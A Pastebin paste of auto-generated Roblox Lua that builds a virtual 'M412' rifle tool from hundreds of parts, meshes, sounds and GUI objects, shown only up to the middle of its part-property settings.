Advertisement
Dark_EccentricYT

Untitled

Apr 30th, 2018
2,400
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 205.62 KB | None | 0 0
  1.  
  2. -- made by 1ndrew
  3. function sandbox(var,func)
  4. local env = getfenv(func)
  5. local newenv = setmetatable({},{
  6. __index = function(self,k)
  7. if k=="script" then
  8. return var
  9. else
  10. return env[k]
  11. end
  12. end,
  13. })
  14. setfenv(func,newenv)
  15. return func
  16. end
  17. cors = {}
  18. mas = Instance.new("Model",game:GetService("Lighting"))
  19. Tool0 = Instance.new("Tool")
  20. Part1 = Instance.new("Part")
  21. CylinderMesh2 = Instance.new("CylinderMesh")
  22. Part3 = Instance.new("Part")
  23. BlockMesh4 = Instance.new("BlockMesh")
  24. Part5 = Instance.new("Part")
  25. BlockMesh6 = Instance.new("BlockMesh")
  26. Part7 = Instance.new("Part")
  27. CylinderMesh8 = Instance.new("CylinderMesh")
  28. Part9 = Instance.new("Part")
  29. BlockMesh10 = Instance.new("BlockMesh")
  30. Part11 = Instance.new("Part")
  31. SpecialMesh12 = Instance.new("SpecialMesh")
  32. Part13 = Instance.new("Part")
  33. BlockMesh14 = Instance.new("BlockMesh")
  34. Part15 = Instance.new("Part")
  35. SpecialMesh16 = Instance.new("SpecialMesh")
  36. Part17 = Instance.new("Part")
  37. CylinderMesh18 = Instance.new("CylinderMesh")
  38. Part19 = Instance.new("Part")
  39. BlockMesh20 = Instance.new("BlockMesh")
  40. Part21 = Instance.new("Part")
  41. BlockMesh22 = Instance.new("BlockMesh")
  42. Part23 = Instance.new("Part")
  43. BlockMesh24 = Instance.new("BlockMesh")
  44. Part25 = Instance.new("Part")
  45. SpecialMesh26 = Instance.new("SpecialMesh")
  46. Part27 = Instance.new("Part")
  47. CylinderMesh28 = Instance.new("CylinderMesh")
  48. Part29 = Instance.new("Part")
  49. BlockMesh30 = Instance.new("BlockMesh")
  50. Part31 = Instance.new("Part")
  51. CylinderMesh32 = Instance.new("CylinderMesh")
  52. Part33 = Instance.new("Part")
  53. BlockMesh34 = Instance.new("BlockMesh")
  54. Part35 = Instance.new("Part")
  55. BlockMesh36 = Instance.new("BlockMesh")
  56. Part37 = Instance.new("Part")
  57. SpecialMesh38 = Instance.new("SpecialMesh")
  58. Part39 = Instance.new("Part")
  59. BlockMesh40 = Instance.new("BlockMesh")
  60. Part41 = Instance.new("Part")
  61. CylinderMesh42 = Instance.new("CylinderMesh")
  62. Part43 = Instance.new("Part")
  63. BlockMesh44 = Instance.new("BlockMesh")
  64. Part45 = Instance.new("Part")
  65. CylinderMesh46 = Instance.new("CylinderMesh")
  66. Part47 = Instance.new("Part")
  67. SpecialMesh48 = Instance.new("SpecialMesh")
  68. Part49 = Instance.new("Part")
  69. BlockMesh50 = Instance.new("BlockMesh")
  70. Part51 = Instance.new("Part")
  71. CylinderMesh52 = Instance.new("CylinderMesh")
  72. Part53 = Instance.new("Part")
  73. CylinderMesh54 = Instance.new("CylinderMesh")
  74. Part55 = Instance.new("Part")
  75. CylinderMesh56 = Instance.new("CylinderMesh")
  76. Part57 = Instance.new("Part")
  77. BlockMesh58 = Instance.new("BlockMesh")
  78. Part59 = Instance.new("Part")
  79. BlockMesh60 = Instance.new("BlockMesh")
  80. Part61 = Instance.new("Part")
  81. BlockMesh62 = Instance.new("BlockMesh")
  82. Part63 = Instance.new("Part")
  83. BlockMesh64 = Instance.new("BlockMesh")
  84. Part65 = Instance.new("Part")
  85. CylinderMesh66 = Instance.new("CylinderMesh")
  86. Part67 = Instance.new("Part")
  87. BlockMesh68 = Instance.new("BlockMesh")
  88. Part69 = Instance.new("Part")
  89. BlockMesh70 = Instance.new("BlockMesh")
  90. Part71 = Instance.new("Part")
  91. CylinderMesh72 = Instance.new("CylinderMesh")
  92. Part73 = Instance.new("Part")
  93. BlockMesh74 = Instance.new("BlockMesh")
  94. Part75 = Instance.new("Part")
  95. SpecialMesh76 = Instance.new("SpecialMesh")
  96. Part77 = Instance.new("Part")
  97. CylinderMesh78 = Instance.new("CylinderMesh")
  98. Part79 = Instance.new("Part")
  99. CylinderMesh80 = Instance.new("CylinderMesh")
  100. Part81 = Instance.new("Part")
  101. BlockMesh82 = Instance.new("BlockMesh")
  102. Part83 = Instance.new("Part")
  103. CylinderMesh84 = Instance.new("CylinderMesh")
  104. Part85 = Instance.new("Part")
  105. BlockMesh86 = Instance.new("BlockMesh")
  106. Part87 = Instance.new("Part")
  107. BlockMesh88 = Instance.new("BlockMesh")
  108. Part89 = Instance.new("Part")
  109. CylinderMesh90 = Instance.new("CylinderMesh")
  110. Part91 = Instance.new("Part")
  111. CylinderMesh92 = Instance.new("CylinderMesh")
  112. Part93 = Instance.new("Part")
  113. CylinderMesh94 = Instance.new("CylinderMesh")
  114. Part95 = Instance.new("Part")
  115. SpecialMesh96 = Instance.new("SpecialMesh")
  116. Part97 = Instance.new("Part")
  117. SpecialMesh98 = Instance.new("SpecialMesh")
  118. Part99 = Instance.new("Part")
  119. BlockMesh100 = Instance.new("BlockMesh")
  120. Part101 = Instance.new("Part")
  121. BlockMesh102 = Instance.new("BlockMesh")
  122. Part103 = Instance.new("Part")
  123. CylinderMesh104 = Instance.new("CylinderMesh")
  124. Part105 = Instance.new("Part")
  125. BlockMesh106 = Instance.new("BlockMesh")
  126. Part107 = Instance.new("Part")
  127. BlockMesh108 = Instance.new("BlockMesh")
  128. Part109 = Instance.new("Part")
  129. BlockMesh110 = Instance.new("BlockMesh")
  130. Part111 = Instance.new("Part")
  131. BlockMesh112 = Instance.new("BlockMesh")
  132. Part113 = Instance.new("Part")
  133. BlockMesh114 = Instance.new("BlockMesh")
  134. Part115 = Instance.new("Part")
  135. CylinderMesh116 = Instance.new("CylinderMesh")
  136. Part117 = Instance.new("Part")
  137. BlockMesh118 = Instance.new("BlockMesh")
  138. Part119 = Instance.new("Part")
  139. SpecialMesh120 = Instance.new("SpecialMesh")
  140. Part121 = Instance.new("Part")
  141. CylinderMesh122 = Instance.new("CylinderMesh")
  142. Part123 = Instance.new("Part")
  143. SpecialMesh124 = Instance.new("SpecialMesh")
  144. Part125 = Instance.new("Part")
  145. SpecialMesh126 = Instance.new("SpecialMesh")
  146. Part127 = Instance.new("Part")
  147. BlockMesh128 = Instance.new("BlockMesh")
  148. Part129 = Instance.new("Part")
  149. BlockMesh130 = Instance.new("BlockMesh")
  150. Part131 = Instance.new("Part")
  151. SpecialMesh132 = Instance.new("SpecialMesh")
  152. Part133 = Instance.new("Part")
  153. BlockMesh134 = Instance.new("BlockMesh")
  154. Part135 = Instance.new("Part")
  155. CylinderMesh136 = Instance.new("CylinderMesh")
  156. Part137 = Instance.new("Part")
  157. CylinderMesh138 = Instance.new("CylinderMesh")
  158. Part139 = Instance.new("Part")
  159. CylinderMesh140 = Instance.new("CylinderMesh")
  160. Part141 = Instance.new("Part")
  161. BlockMesh142 = Instance.new("BlockMesh")
  162. Part143 = Instance.new("Part")
  163. BlockMesh144 = Instance.new("BlockMesh")
  164. Part145 = Instance.new("Part")
  165. BlockMesh146 = Instance.new("BlockMesh")
  166. Part147 = Instance.new("Part")
  167. CylinderMesh148 = Instance.new("CylinderMesh")
  168. Part149 = Instance.new("Part")
  169. CylinderMesh150 = Instance.new("CylinderMesh")
  170. Part151 = Instance.new("Part")
  171. BlockMesh152 = Instance.new("BlockMesh")
  172. Part153 = Instance.new("Part")
  173. BlockMesh154 = Instance.new("BlockMesh")
  174. Part155 = Instance.new("Part")
  175. BlockMesh156 = Instance.new("BlockMesh")
  176. Part157 = Instance.new("Part")
  177. BlockMesh158 = Instance.new("BlockMesh")
  178. Part159 = Instance.new("Part")
  179. CylinderMesh160 = Instance.new("CylinderMesh")
  180. Part161 = Instance.new("Part")
  181. BlockMesh162 = Instance.new("BlockMesh")
  182. Part163 = Instance.new("Part")
  183. SpecialMesh164 = Instance.new("SpecialMesh")
  184. Part165 = Instance.new("Part")
  185. BlockMesh166 = Instance.new("BlockMesh")
  186. Part167 = Instance.new("Part")
  187. SpecialMesh168 = Instance.new("SpecialMesh")
  188. Part169 = Instance.new("Part")
  189. BlockMesh170 = Instance.new("BlockMesh")
  190. Part171 = Instance.new("Part")
  191. BlockMesh172 = Instance.new("BlockMesh")
  192. Part173 = Instance.new("Part")
  193. BlockMesh174 = Instance.new("BlockMesh")
  194. Part175 = Instance.new("Part")
  195. BlockMesh176 = Instance.new("BlockMesh")
  196. Part177 = Instance.new("Part")
  197. SpecialMesh178 = Instance.new("SpecialMesh")
  198. Part179 = Instance.new("Part")
  199. BlockMesh180 = Instance.new("BlockMesh")
  200. Part181 = Instance.new("Part")
  201. SpecialMesh182 = Instance.new("SpecialMesh")
  202. Part183 = Instance.new("Part")
  203. BlockMesh184 = Instance.new("BlockMesh")
  204. Part185 = Instance.new("Part")
  205. BlockMesh186 = Instance.new("BlockMesh")
  206. Part187 = Instance.new("Part")
  207. BlockMesh188 = Instance.new("BlockMesh")
  208. Part189 = Instance.new("Part")
  209. BlockMesh190 = Instance.new("BlockMesh")
  210. Part191 = Instance.new("Part")
  211. SpecialMesh192 = Instance.new("SpecialMesh")
  212. Part193 = Instance.new("Part")
  213. SpecialMesh194 = Instance.new("SpecialMesh")
  214. Part195 = Instance.new("Part")
  215. BlockMesh196 = Instance.new("BlockMesh")
  216. Part197 = Instance.new("Part")
  217. BlockMesh198 = Instance.new("BlockMesh")
  218. Part199 = Instance.new("Part")
  219. BlockMesh200 = Instance.new("BlockMesh")
  220. Part201 = Instance.new("Part")
  221. BlockMesh202 = Instance.new("BlockMesh")
  222. Part203 = Instance.new("Part")
  223. BlockMesh204 = Instance.new("BlockMesh")
  224. Part205 = Instance.new("Part")
  225. BlockMesh206 = Instance.new("BlockMesh")
  226. Part207 = Instance.new("Part")
  227. BlockMesh208 = Instance.new("BlockMesh")
  228. Part209 = Instance.new("Part")
  229. SpecialMesh210 = Instance.new("SpecialMesh")
  230. Part211 = Instance.new("Part")
  231. CylinderMesh212 = Instance.new("CylinderMesh")
  232. Part213 = Instance.new("Part")
  233. SpecialMesh214 = Instance.new("SpecialMesh")
  234. Part215 = Instance.new("Part")
  235. BlockMesh216 = Instance.new("BlockMesh")
  236. Part217 = Instance.new("Part")
  237. SpecialMesh218 = Instance.new("SpecialMesh")
  238. Part219 = Instance.new("Part")
  239. BlockMesh220 = Instance.new("BlockMesh")
  240. Part221 = Instance.new("Part")
  241. BlockMesh222 = Instance.new("BlockMesh")
  242. Part223 = Instance.new("Part")
  243. BlockMesh224 = Instance.new("BlockMesh")
  244. Part225 = Instance.new("Part")
  245. BlockMesh226 = Instance.new("BlockMesh")
  246. Part227 = Instance.new("Part")
  247. CylinderMesh228 = Instance.new("CylinderMesh")
  248. Part229 = Instance.new("Part")
  249. CylinderMesh230 = Instance.new("CylinderMesh")
  250. Part231 = Instance.new("Part")
  251. CylinderMesh232 = Instance.new("CylinderMesh")
  252. Part233 = Instance.new("Part")
  253. BlockMesh234 = Instance.new("BlockMesh")
  254. Part235 = Instance.new("Part")
  255. BlockMesh236 = Instance.new("BlockMesh")
  256. Part237 = Instance.new("Part")
  257. SpecialMesh238 = Instance.new("SpecialMesh")
  258. Part239 = Instance.new("Part")
  259. BlockMesh240 = Instance.new("BlockMesh")
  260. Part241 = Instance.new("Part")
  261. SpecialMesh242 = Instance.new("SpecialMesh")
  262. Part243 = Instance.new("Part")
  263. SpecialMesh244 = Instance.new("SpecialMesh")
  264. Part245 = Instance.new("Part")
  265. SpecialMesh246 = Instance.new("SpecialMesh")
  266. Part247 = Instance.new("Part")
  267. SpecialMesh248 = Instance.new("SpecialMesh")
  268. Part249 = Instance.new("Part")
  269. BlockMesh250 = Instance.new("BlockMesh")
  270. Part251 = Instance.new("Part")
  271. CylinderMesh252 = Instance.new("CylinderMesh")
  272. Part253 = Instance.new("Part")
  273. BlockMesh254 = Instance.new("BlockMesh")
  274. Part255 = Instance.new("Part")
  275. BlockMesh256 = Instance.new("BlockMesh")
  276. Part257 = Instance.new("Part")
  277. BlockMesh258 = Instance.new("BlockMesh")
  278. Part259 = Instance.new("Part")
  279. SpecialMesh260 = Instance.new("SpecialMesh")
  280. Part261 = Instance.new("Part")
  281. BlockMesh262 = Instance.new("BlockMesh")
  282. Part263 = Instance.new("Part")
  283. BlockMesh264 = Instance.new("BlockMesh")
  284. Part265 = Instance.new("Part")
  285. BlockMesh266 = Instance.new("BlockMesh")
  286. Part267 = Instance.new("Part")
  287. SpecialMesh268 = Instance.new("SpecialMesh")
  288. Part269 = Instance.new("Part")
  289. SpecialMesh270 = Instance.new("SpecialMesh")
  290. Part271 = Instance.new("Part")
  291. SpecialMesh272 = Instance.new("SpecialMesh")
  292. Part273 = Instance.new("Part")
  293. CylinderMesh274 = Instance.new("CylinderMesh")
  294. Part275 = Instance.new("Part")
  295. BlockMesh276 = Instance.new("BlockMesh")
  296. Part277 = Instance.new("Part")
  297. BlockMesh278 = Instance.new("BlockMesh")
  298. Part279 = Instance.new("Part")
  299. BlockMesh280 = Instance.new("BlockMesh")
  300. Part281 = Instance.new("Part")
  301. SpecialMesh282 = Instance.new("SpecialMesh")
  302. Part283 = Instance.new("Part")
  303. BlockMesh284 = Instance.new("BlockMesh")
  304. Part285 = Instance.new("Part")
  305. CylinderMesh286 = Instance.new("CylinderMesh")
  306. Part287 = Instance.new("Part")
  307. SpecialMesh288 = Instance.new("SpecialMesh")
  308. Part289 = Instance.new("Part")
  309. BlockMesh290 = Instance.new("BlockMesh")
  310. Part291 = Instance.new("Part")
  311. BlockMesh292 = Instance.new("BlockMesh")
  312. Part293 = Instance.new("Part")
  313. BlockMesh294 = Instance.new("BlockMesh")
  314. Part295 = Instance.new("Part")
  315. BlockMesh296 = Instance.new("BlockMesh")
  316. Part297 = Instance.new("Part")
  317. BlockMesh298 = Instance.new("BlockMesh")
  318. Part299 = Instance.new("Part")
  319. CylinderMesh300 = Instance.new("CylinderMesh")
  320. Part301 = Instance.new("Part")
  321. CylinderMesh302 = Instance.new("CylinderMesh")
  322. Part303 = Instance.new("Part")
  323. BlockMesh304 = Instance.new("BlockMesh")
  324. Part305 = Instance.new("Part")
  325. SpecialMesh306 = Instance.new("SpecialMesh")
  326. Part307 = Instance.new("Part")
  327. BlockMesh308 = Instance.new("BlockMesh")
  328. Part309 = Instance.new("Part")
  329. CylinderMesh310 = Instance.new("CylinderMesh")
  330. Part311 = Instance.new("Part")
  331. CylinderMesh312 = Instance.new("CylinderMesh")
  332. Part313 = Instance.new("Part")
  333. CylinderMesh314 = Instance.new("CylinderMesh")
  334. Part315 = Instance.new("Part")
  335. BlockMesh316 = Instance.new("BlockMesh")
  336. Part317 = Instance.new("Part")
  337. SpecialMesh318 = Instance.new("SpecialMesh")
  338. Part319 = Instance.new("Part")
  339. BlockMesh320 = Instance.new("BlockMesh")
  340. Part321 = Instance.new("Part")
  341. Part322 = Instance.new("Part")
  342. BlockMesh323 = Instance.new("BlockMesh")
  343. Part324 = Instance.new("Part")
  344. BlockMesh325 = Instance.new("BlockMesh")
  345. Part326 = Instance.new("Part")
  346. CylinderMesh327 = Instance.new("CylinderMesh")
  347. Part328 = Instance.new("Part")
  348. BlockMesh329 = Instance.new("BlockMesh")
  349. Part330 = Instance.new("Part")
  350. BlockMesh331 = Instance.new("BlockMesh")
  351. Part332 = Instance.new("Part")
  352. CylinderMesh333 = Instance.new("CylinderMesh")
  353. Part334 = Instance.new("Part")
  354. BlockMesh335 = Instance.new("BlockMesh")
  355. Part336 = Instance.new("Part")
  356. SpecialMesh337 = Instance.new("SpecialMesh")
  357. Part338 = Instance.new("Part")
  358. BlockMesh339 = Instance.new("BlockMesh")
  359. Part340 = Instance.new("Part")
  360. BlockMesh341 = Instance.new("BlockMesh")
  361. Part342 = Instance.new("Part")
  362. BlockMesh343 = Instance.new("BlockMesh")
  363. Part344 = Instance.new("Part")
  364. SpecialMesh345 = Instance.new("SpecialMesh")
  365. Part346 = Instance.new("Part")
  366. CylinderMesh347 = Instance.new("CylinderMesh")
  367. Part348 = Instance.new("Part")
  368. BlockMesh349 = Instance.new("BlockMesh")
  369. Part350 = Instance.new("Part")
  370. CylinderMesh351 = Instance.new("CylinderMesh")
  371. Part352 = Instance.new("Part")
  372. BlockMesh353 = Instance.new("BlockMesh")
  373. Part354 = Instance.new("Part")
  374. BlockMesh355 = Instance.new("BlockMesh")
  375. Part356 = Instance.new("Part")
  376. BlockMesh357 = Instance.new("BlockMesh")
  377. Part358 = Instance.new("Part")
  378. CylinderMesh359 = Instance.new("CylinderMesh")
  379. Part360 = Instance.new("Part")
  380. Weld361 = Instance.new("Weld")
  381. Sound362 = Instance.new("Sound")
  382. Sound363 = Instance.new("Sound")
  383. LocalScript364 = Instance.new("LocalScript")
  384. NumberValue365 = Instance.new("NumberValue")
  385. NumberValue366 = Instance.new("NumberValue")
  386. PointLight367 = Instance.new("PointLight")
  387. Smoke368 = Instance.new("Smoke")
  388. Smoke369 = Instance.new("Smoke")
  389. ScreenGui370 = Instance.new("ScreenGui")
  390. Frame371 = Instance.new("Frame")
  391. TextLabel372 = Instance.new("TextLabel")
  392. Frame373 = Instance.new("Frame")
  393. TextLabel374 = Instance.new("TextLabel")
  394. Frame375 = Instance.new("Frame")
  395. TextLabel376 = Instance.new("TextLabel")
  396. Script377 = Instance.new("Script")
  397. Tool0.Name = "M412"
  398. Tool0.Parent = mas
  399. Tool0.GripForward = Vector3.new(-0, 1, -7.23701942e-06)
  400. Tool0.GripPos = Vector3.new(0.150000006, -0.449999988, -0.150000006)
  401. Tool0.GripUp = Vector3.new(-0, 7.23701942e-06, 1)
  402. Tool0.ToolTip = "5.56x45 NATO"
  403. Part1.Parent = Tool0
  404. Part1.Material = Enum.Material.SmoothPlastic
  405. Part1.BrickColor = BrickColor.new("Really black")
  406. Part1.Reflectance = 0.20000000298023
  407. Part1.Rotation = Vector3.new(0, -75, -90)
  408. Part1.Anchored = true
  409. Part1.FormFactor = Enum.FormFactor.Symmetric
  410. Part1.Size = Vector3.new(1, 1, 1)
  411. Part1.CFrame = CFrame.new(6.28160715, 1.65223598, -95.3074875, 0, 0.258819073, -0.965925813, -1, 0, 0, 0, 0.965925813, 0.258819073)
  412. Part1.BottomSurface = Enum.SurfaceType.Smooth
  413. Part1.TopSurface = Enum.SurfaceType.Smooth
  414. Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  415. Part1.Position = Vector3.new(6.28160715, 1.65223598, -95.3074875)
  416. Part1.Orientation = Vector3.new(0, -75, -90)
  417. Part1.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  418. CylinderMesh2.Parent = Part1
  419. CylinderMesh2.Scale = Vector3.new(0.0636363626, 0.227272689, 0.0636363626)
  420. CylinderMesh2.Scale = Vector3.new(0.0636363626, 0.227272689, 0.0636363626)
  421. Part3.Parent = Tool0
  422. Part3.Material = Enum.Material.SmoothPlastic
  423. Part3.BrickColor = BrickColor.new("Really black")
  424. Part3.Reflectance = 0.10000000149012
  425. Part3.Rotation = Vector3.new(0, 0, 45)
  426. Part3.Anchored = true
  427. Part3.FormFactor = Enum.FormFactor.Symmetric
  428. Part3.Size = Vector3.new(1, 1, 1)
  429. Part3.CFrame = CFrame.new(6.26573706, 2.1171751, -95.1531525, 0.707106709, -0.707106709, 0, 0.707106709, 0.707106709, 0, 0, 0, 1)
  430. Part3.BottomSurface = Enum.SurfaceType.Smooth
  431. Part3.TopSurface = Enum.SurfaceType.Smooth
  432. Part3.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  433. Part3.Position = Vector3.new(6.26573706, 2.1171751, -95.1531525)
  434. Part3.Orientation = Vector3.new(0, 0, 45)
  435. Part3.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  436. BlockMesh4.Parent = Part3
  437. BlockMesh4.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  438. BlockMesh4.Scale = Vector3.new(0.099999994, 0.0181818102, 0.0363636315)
  439. Part5.Parent = Tool0
  440. Part5.Material = Enum.Material.SmoothPlastic
  441. Part5.BrickColor = BrickColor.new("Really black")
  442. Part5.Reflectance = 0.10000000149012
  443. Part5.Rotation = Vector3.new(0, 90, 0)
  444. Part5.Anchored = true
  445. Part5.FormFactor = Enum.FormFactor.Symmetric
  446. Part5.Size = Vector3.new(1, 1, 1)
  447. Part5.CFrame = CFrame.new(6.36203718, 1.41130102, -96.3290634, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  448. Part5.BottomSurface = Enum.SurfaceType.Smooth
  449. Part5.TopSurface = Enum.SurfaceType.Smooth
  450. Part5.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  451. Part5.Position = Vector3.new(6.36203718, 1.41130102, -96.3290634)
  452. Part5.Orientation = Vector3.new(0, 90, 0)
  453. Part5.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  454. BlockMesh6.Parent = Part5
  455. BlockMesh6.Scale = Vector3.new(0.263636827, 0.0181818195, 0.0818181857)
  456. BlockMesh6.Scale = Vector3.new(0.263636827, 0.0181818195, 0.0818181857)
  457. Part7.Parent = Tool0
  458. Part7.Material = Enum.Material.SmoothPlastic
  459. Part7.BrickColor = BrickColor.new("Really black")
  460. Part7.Reflectance = 0.10000000149012
  461. Part7.Rotation = Vector3.new(0, 90, 0)
  462. Part7.Anchored = true
  463. Part7.FormFactor = Enum.FormFactor.Symmetric
  464. Part7.Size = Vector3.new(1, 1, 1)
  465. Part7.CFrame = CFrame.new(6.36203718, 1.43858898, -96.3290634, 0, 0, 1, 0, 1, 0, -1, 0, 0)
  466. Part7.BottomSurface = Enum.SurfaceType.Smooth
  467. Part7.TopSurface = Enum.SurfaceType.Smooth
  468. Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  469. Part7.Position = Vector3.new(6.36203718, 1.43858898, -96.3290634)
  470. Part7.Orientation = Vector3.new(0, 90, 0)
  471. Part7.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  472. CylinderMesh8.Parent = Part7
  473. CylinderMesh8.Scale = Vector3.new(0.0636363626, 0.181818202, 0.100000001)
  474. CylinderMesh8.Scale = Vector3.new(0.0636363626, 0.181818202, 0.100000001)
  475. Part9.Parent = Tool0
  476. Part9.Material = Enum.Material.SmoothPlastic
  477. Part9.BrickColor = BrickColor.new("Really black")
  478. Part9.Reflectance = 0.10000000149012
  479. Part9.Rotation = Vector3.new(-90, -62.329998, -90)
  480. Part9.Anchored = true
  481. Part9.FormFactor = Enum.FormFactor.Symmetric
  482. Part9.Size = Vector3.new(1, 1, 1)
  483. Part9.CFrame = CFrame.new(6.399436, 1.58064997, -96.4654312, 0, 0.46439907, -0.885626554, 0, 0.885626554, 0.46439907, 1, 0, 0)
  484. Part9.BottomSurface = Enum.SurfaceType.Smooth
  485. Part9.TopSurface = Enum.SurfaceType.Smooth
  486. Part9.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  487. Part9.Position = Vector3.new(6.399436, 1.58064997, -96.4654312)
  488. Part9.Orientation = Vector3.new(-27.6700001, -90, 0)
  489. Part9.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  490. BlockMesh10.Parent = Part9
  491. BlockMesh10.Scale = Vector3.new(0.827272892, 0.0818181932, 0.045000013)
  492. BlockMesh10.Scale = Vector3.new(0.827272892, 0.0818181932, 0.045000013)
  493. Part11.Parent = Tool0
  494. Part11.Material = Enum.Material.SmoothPlastic
  495. Part11.BrickColor = BrickColor.new("Really black")
  496. Part11.Reflectance = 0.10000000149012
  497. Part11.Rotation = Vector3.new(-180, 0, 0)
  498. Part11.Anchored = true
  499. Part11.FormFactor = Enum.FormFactor.Symmetric
  500. Part11.Size = Vector3.new(1, 1, 1)
  501. Part11.CFrame = CFrame.new(6.36203718, 1.33390296, -96.6654358, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  502. Part11.BottomSurface = Enum.SurfaceType.Smooth
  503. Part11.TopSurface = Enum.SurfaceType.Smooth
  504. Part11.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  505. Part11.Position = Vector3.new(6.36203718, 1.33390296, -96.6654358)
  506. Part11.Orientation = Vector3.new(0, 180, 180)
  507. Part11.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  508. SpecialMesh12.Parent = Part11
  509. SpecialMesh12.Scale = Vector3.new(0.0272727292, 0.172727302, 0.409090787)
  510. SpecialMesh12.MeshType = Enum.MeshType.Wedge
  511. SpecialMesh12.Scale = Vector3.new(0.0272727292, 0.172727302, 0.409090787)
  512. Part13.Parent = Tool0
  513. Part13.Material = Enum.Material.SmoothPlastic
  514. Part13.BrickColor = BrickColor.new("Really black")
  515. Part13.Reflectance = 0.10000000149012
  516. Part13.Rotation = Vector3.new(-36, 90, 0)
  517. Part13.Anchored = true
  518. Part13.FormFactor = Enum.FormFactor.Symmetric
  519. Part13.Size = Vector3.new(1, 1, 1)
  520. Part13.CFrame = CFrame.new(6.36203718, 1.382779, -96.490181, 0, 0, 1, -0.587785363, 0.809017003, 0, -0.809017003, -0.587785363, 0)
  521. Part13.BottomSurface = Enum.SurfaceType.Smooth
  522. Part13.TopSurface = Enum.SurfaceType.Smooth
  523. Part13.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  524. Part13.Position = Vector3.new(6.36203718, 1.382779, -96.490181)
  525. Part13.Orientation = Vector3.new(0, 90, -36)
  526. Part13.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  527. BlockMesh14.Parent = Part13
  528. BlockMesh14.Scale = Vector3.new(0.163636327, 0.0636363626, 0.100000069)
  529. BlockMesh14.Scale = Vector3.new(0.163636327, 0.0636363626, 0.100000069)
  530. Part15.Parent = Tool0
  531. Part15.Material = Enum.Material.SmoothPlastic
  532. Part15.BrickColor = BrickColor.new("Really black")
  533. Part15.Reflectance = 0.10000000149012
  534. Part15.Rotation = Vector3.new(157.5, 0, 0)
  535. Part15.Anchored = true
  536. Part15.FormFactor = Enum.FormFactor.Symmetric
  537. Part15.Size = Vector3.new(1, 1, 1)
  538. Part15.CFrame = CFrame.new(6.36203718, 1.19770598, -96.7130966, 0.999996305, 1.02500053e-08, 2.52267205e-06, 9.58131068e-07, -0.923872173, -0.382683158, 2.28633712e-06, 0.382681787, -0.923875511)
  539. Part15.BottomSurface = Enum.SurfaceType.Smooth
  540. Part15.TopSurface = Enum.SurfaceType.Smooth
  541. Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  542. Part15.Position = Vector3.new(6.36203718, 1.19770598, -96.7130966)
  543. Part15.Orientation = Vector3.new(22.5, 180, 180)
  544. Part15.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  545. SpecialMesh16.Parent = Part15
  546. SpecialMesh16.Scale = Vector3.new(0.0818181932, 0.181818202, 0.363636345)
  547. SpecialMesh16.MeshType = Enum.MeshType.Wedge
  548. SpecialMesh16.Scale = Vector3.new(0.0818181932, 0.181818202, 0.363636345)
  549. Part17.Parent = Tool0
  550. Part17.Material = Enum.Material.SmoothPlastic
  551. Part17.BrickColor = BrickColor.new("Really black")
  552. Part17.Reflectance = 0.10000000149012
  553. Part17.Rotation = Vector3.new(-90, 0, -180)
  554. Part17.Anchored = true
  555. Part17.FormFactor = Enum.FormFactor.Symmetric
  556. Part17.Size = Vector3.new(1, 1, 1)
  557. Part17.CFrame = CFrame.new(6.36203718, 1.56131995, -96.4654312, -1, 0, -4.37113883e-08, 0, 0, 1, 0, 1, 0)
  558. Part17.BottomSurface = Enum.SurfaceType.Smooth
  559. Part17.TopSurface = Enum.SurfaceType.Smooth
  560. Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  561. Part17.Position = Vector3.new(6.36203718, 1.56131995, -96.4654312)
  562. Part17.Orientation = Vector3.new(-90, -180, 0)
  563. Part17.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  564. CylinderMesh18.Parent = Part17
  565. CylinderMesh18.Scale = Vector3.new(0.100000001, 0.827273071, 0.100000001)
  566. CylinderMesh18.Scale = Vector3.new(0.100000001, 0.827273071, 0.100000001)
  567. Part19.Parent = Tool0
  568. Part19.Material = Enum.Material.SmoothPlastic
  569. Part19.BrickColor = BrickColor.new("Really black")
  570. Part19.Reflectance = 0.20000000298023
  571. Part19.Rotation = Vector3.new(0, 90, 0)
  572. Part19.Anchored = true
  573. Part19.FormFactor = Enum.FormFactor.Symmetric
  574. Part19.Size = Vector3.new(1, 1, 1)
  575. Part19.CFrame = CFrame.new(6.36203718, 1.58404899, -96.160881, 0, 0, 1, 0, 1, 0, -1, 0, -4.37113883e-08)
  576. Part19.BottomSurface = Enum.SurfaceType.Smooth
  577. Part19.TopSurface = Enum.SurfaceType.Smooth
  578. Part19.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  579. Part19.Position = Vector3.new(6.36203718, 1.58404899, -96.160881)
  580. Part19.Orientation = Vector3.new(0, 90, 0)
  581. Part19.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  582. BlockMesh20.Parent = Part19
  583. BlockMesh20.Scale = Vector3.new(0.800000012, 0.090909116, 0.0454545394)
  584. BlockMesh20.Scale = Vector3.new(0.800000012, 0.090909116, 0.0454545394)
  585. Part21.Parent = Tool0
  586. Part21.Material = Enum.Material.SmoothPlastic
  587. Part21.BrickColor = BrickColor.new("Really black")
  588. Part21.Reflectance = 0.10000000149012
  589. Part21.Rotation = Vector3.new(0, 90, 0)
  590. Part21.Anchored = true
  591. Part21.FormFactor = Enum.FormFactor.Symmetric
  592. Part21.Size = Vector3.new(1, 1, 1)
  593. Part21.CFrame = CFrame.new(6.36203718, 1.35753798, -96.8926926, 0, 0, 1, 0, 1, 0, -1, 0, 0)
